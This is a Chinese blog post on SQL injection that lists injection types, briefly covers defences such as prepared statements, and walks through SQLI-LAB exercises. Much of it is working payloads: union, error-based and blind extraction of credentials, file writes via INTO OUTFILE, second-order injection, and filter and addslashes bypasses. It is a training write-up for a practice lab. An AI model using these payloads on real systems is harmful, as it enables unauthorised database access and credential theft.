【SQLI】SQLI攻击与防护

SQL注入

约有如下13种:

  1. Boolean盲注

    与时间盲注类似,但是用于有明显回显情况

  2. Union注入
    最常见的注入方式之一

    1' union select 1,2,database() --+
  3. 文件读写

    select '' into outfile '/var/www/c.php' --+
  4. 报错注入

    floor()、extractvalue()、updatexml()、geometrycollection()、multipoint()、polygon()、multipolygon()、linestring()、multilinestring()、exp()

  5. 时间盲注

    sleep()

  6. REGEXP正则匹配

    PCRE绕过:union/‘+’a’1000001+’*/select

  7. 宽字节注入

    运用GBK与UTF-8编码不同来绕过转义

  8. 堆叠注入

    两句代码以分号等方式隔开:select * from users where id=1;select 1,2,3;

  9. 二次注入

    巧妙利用update等方式,用已有的数据进行注入

  10. User-Agent注入、11.Cookie注入

    10,11两种其实只是个注入位置的区别而已,可以采用Burp或者直接Curl构造payload实现

  11. 过滤绕过

    union绕过,双写绕过,注释绕过等

  12. 万能密码

    admin’ or ‘1’=’1
    username = secpulse’=’ password = secpulse’=’
    ffifdyop

SQL防护

  1. 预编译

    String sql="select id,no from user where id=?";
    PreparedStatement ps=conn.prepareStatement(sql);
    ps.setInt(1,id);
    ps.executeQuery();

    采用了PreparedStatement,就会将sql语句:”select id, no from user where id=?” 预先编译好也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析sql命令,比如 select ,from ,where ,and, or ,order by 等等。
    所以即使你后面输入了这些sql命令,也不会被当成sql命令来执行了,因为这些sql命令的执行,必须先的通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为sql命令来执行的,只会被当做字符串字面值参数。
    所以sql语句预编译可以防御sql注入。

  2. PDO

    也是一种预编译的方式,常用在PHP的数据库查询上,绑定的参数不需要使用引号,也可以有效防止注入

  3. 正则表达式过滤

    实在不行,那就自己写过滤!

SQLI-LAB WriteUp

注入分类太过复杂,所以在SQLI做题的时候边整理SQLI攻击的一些技巧
由于SQLI-LAB的一些不友好配置,想寻一个Docker版本使用,所以我自己写了个Docker
Docker Hub:huangzheng2016/sqlilab
仅展示一些简单的题目来阐释注入

Less-1 GET – Error based – Single quotes – String(基于错误的GET单引号字符型注入)

手工UNION联合查询注入

根据提示,给ID随便来一个,发现有注入的可能,于是暴库
file

?id=-1' union select 1,2,database() --+
#1,2为占位符,为了让数据库在Password那栏显示出来

file
得到数据库名,爆破数据表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

file
然后来爆users字段

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

file
通过group_concat`爆破`users`表的内容,`0x3a`是ascii中的 `:,用以分割pasword和username

?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

file

手工报错型注入

#正确
?id=1' and 1=1--+
#失败
?id=1' and 1=2--+

通过Xpath爆数据表

extractvalue():对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

file
爆字段

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

Less-2 GET – Error based – Intiger based (基于错误的GET整型注入)

和第一题类似,只不过前面的1不用带单引号,即

select ... from ... where id=$GET

Less-3 GET – Error based – Single quotes with twist string (基于错误的GET单引号变形字符型注入)

输入单引号,根据报错信息可以确定输入的内容存放到一对单引号加圆括号中了

select ... from ... where id=('$GET')

Less-4 GET – Error based – Double Quotes – String (基于错误的GET双引号字符型注入)

输入单引号,页面无任何变化,
输入双引号,页面报错,

select ... from ... where id=("$GET")

Less-5 GET – Double Injection – Single Quotes – String (双注入GET单引号字符型注入)

file
file
看这个就是布尔型盲注、报错型注入、时间延迟型盲注。真正盲注一般不会有回显

时间延迟型注入

这个有没有回显其实无所谓,可以参考浏览器刷新时间来确定

#爆库长
?id=1' and if(length(database())=8,sleep(5),1)--+
#爆库名left(database(),8)='security'
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
#爆表名users
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),1)--+
#爆字段,查看是非有password列
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+
#爆破值
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

布尔型手工注入

正确会回显,错误没有回显

#爆库名
?id=1' and left((select database()),1)='s'--+
#爆表
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
#爆字段
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
#爆值
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+

值得注意的是mysql对大小写不敏感

使用CONCAT聚合函数

这里利用的是floor()函数的报错回显

select count(*) from test group by floor(rand(0)*2);

在这里的意思就是,group by进行分组时,floor(rand(0)*2)执行一次(查看分组是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候floor(rand(0)*2)就又计算了一次。(其实在上述rand(0)产生多个数据的时候,也能观察出来。只要rand(0)被调用,一定会产生新值)。
当grou pby对其进行分组的时候,首先遇到第一个值,发现不存在,于是需要插入分组,就在这时,floor(rand(0)*2)再次被触发,生成第二个值1,因此最终插入虚拟表的也就是第二个值1;然后遇到第三个值1,因为已经存在分组1了,就直接计数加1(这时1的计数变为2);遇到第四个值的时候,发现不存在,于是又需要插入新分组,然后floor(rand(0)*2)又被触发,生成第五个值1,因此这时还是往虚拟表里插入分组1,但是,分组1已经存在了!所以报错!

#爆库
?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
#爆用户
?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+
#爆表
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
#爆字段
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
#爆值
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

Less-7 GET – Dump into outfile – String (导出文件GET字符型注入)

由于测试后发现过滤了换行符,于是从Less-2获取了一些信息basedir为mysql安装路径,datadir为数据路径
file

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

这个路子行不通,我就按照以往经验,往Apache`目录`/var/www/直接写文件

?id=1')) union select 1,2,'' into outfile '/var/www/c.php' --+

file
这个出错没有关系,然后我看了一下目录,没有写进去,最后一查,我这个目录没有给mysql任何写权限
并且mysql数据库没有开启secure-file-priv写文件权限(快去改docker啊笨)
PS:Docker1.1已更新

Less – 24 Second Degree Injections Real treat -Store Injections (二次注入)

file
首先注册一个admin'#的账号,再进去修改密码
file
就可以用修改后的密码登录admin
file
原理如下

#原本的UPDATE语句
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password='
#实际执行的语句
UPDATE users SET passwd="New_Pass" WHERE username ='admin'
``
### Less-25 Trick with OR & AND (过滤了or和and)
仅讲解思路,没有实际Payload
```SQL
#利用union联合查询
?id=-1' union select 1,2,database()--+
#双写and or绕过
?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+
#符号绕过
and=&&
or=||
xor=|
not=!

顺便细数其他的一些绕过方法

绕过空格(注释符/**/,空格%a0,Tab,双空格)

#空格替代
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
#浮点数绕过
select * from users where id=8E0union select 1,2,3
#括号绕过
select(user())from dual where(1=1)and(2=2)

引号绕过

##字符串users的十六进制为0x7573657273
select column_name  from information_schema.tables where table_name="users"
select column_name  from information_schema.tables where table_name=0x7573657273

逗号绕过(使用from或者offset)

#对于substr和mid可以使用from和for
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
#limit可以使用offset
select * from news limit 0,1
select * from news limit 1 offset 0
#截取字符串时,like为模糊匹配,%为通配符
select ascii(mid(user(),1,1))=80
select user() like 'r%'
通配符 描述
% 代表零个或多个字符
_ 仅替代一个字符
[charlist] 字符列中的任何单一字符
[^charlist]或者[!charlist] 不在字符列中的任何单一字

比较符号绕过<>,返回最大值greatest(),返回最小值least()

select * from users where id=1 and ascii(substr(database(),0,1))>64
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

等于符号绕过

#between a and b 在a和b范围内
between 1 and 1;
#使用like 、rlike 、regexp 或者 使用<或者>

绕过注释符号

#最后的or '1闭合查询语句的最后的单引号或者单独查询
id=1' union select 1,2,3||'1
id=1' union select 1,2,'3

绕过union,select,where等

#使用注释符绕过,常用注释符 //,-- , /**/, # , --+ , -- - , ; , %00 ,--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
#使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
#内联注释绕过
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
#双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3–-

编码绕过

如URLEncode编码,ASCII,HEX,unicode编码绕过

#or 1=1
%6f%72%20%31%3d%31
#Test
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

等价函数绕过

hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@user==>user()
@@datadir==>datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

Less-32 Bypass addslashes(宽字节绕过)

addslashes()会在单引号前加一个\ 例如:I’m hacker 传入addslashes(),得到:I\’m hacker,有效防止注入

%E6除去\具体的方法是urlencode(\’)=%5C%27,我们在%5C%27前面添加%E6,形成%E6%5c%27,而mysql在GBK编码方式的时候会将两个字节当做一个汉字,%E6%5C就是一个汉字,%27作为一个单独的(’)符号在外面:
所以理论上%E6任意都可以,例如%DF,只要%XX%5C是存在的编码即可

?id=-1%E6' union select 1,version(),database() --+
#addslashes()后
?id=-1%E6\' union select 1,version(),database() --+
#因为无符号,所以自动忽略
?id=-1(某个汉字)' union select 1,version(),database() --+
  1. replace():过滤’ \ ,将’转化为\’,将\转为\,将”转为\”
  2. addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符(‘,”,\ )。
    防御,要将mysql_query设置为binary的方式
  3. mysql_real_escape_string():转义下列字符:
    \x00,\n,\r,\,',",\x1a

    防御,将mysql设置为GBK即可

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注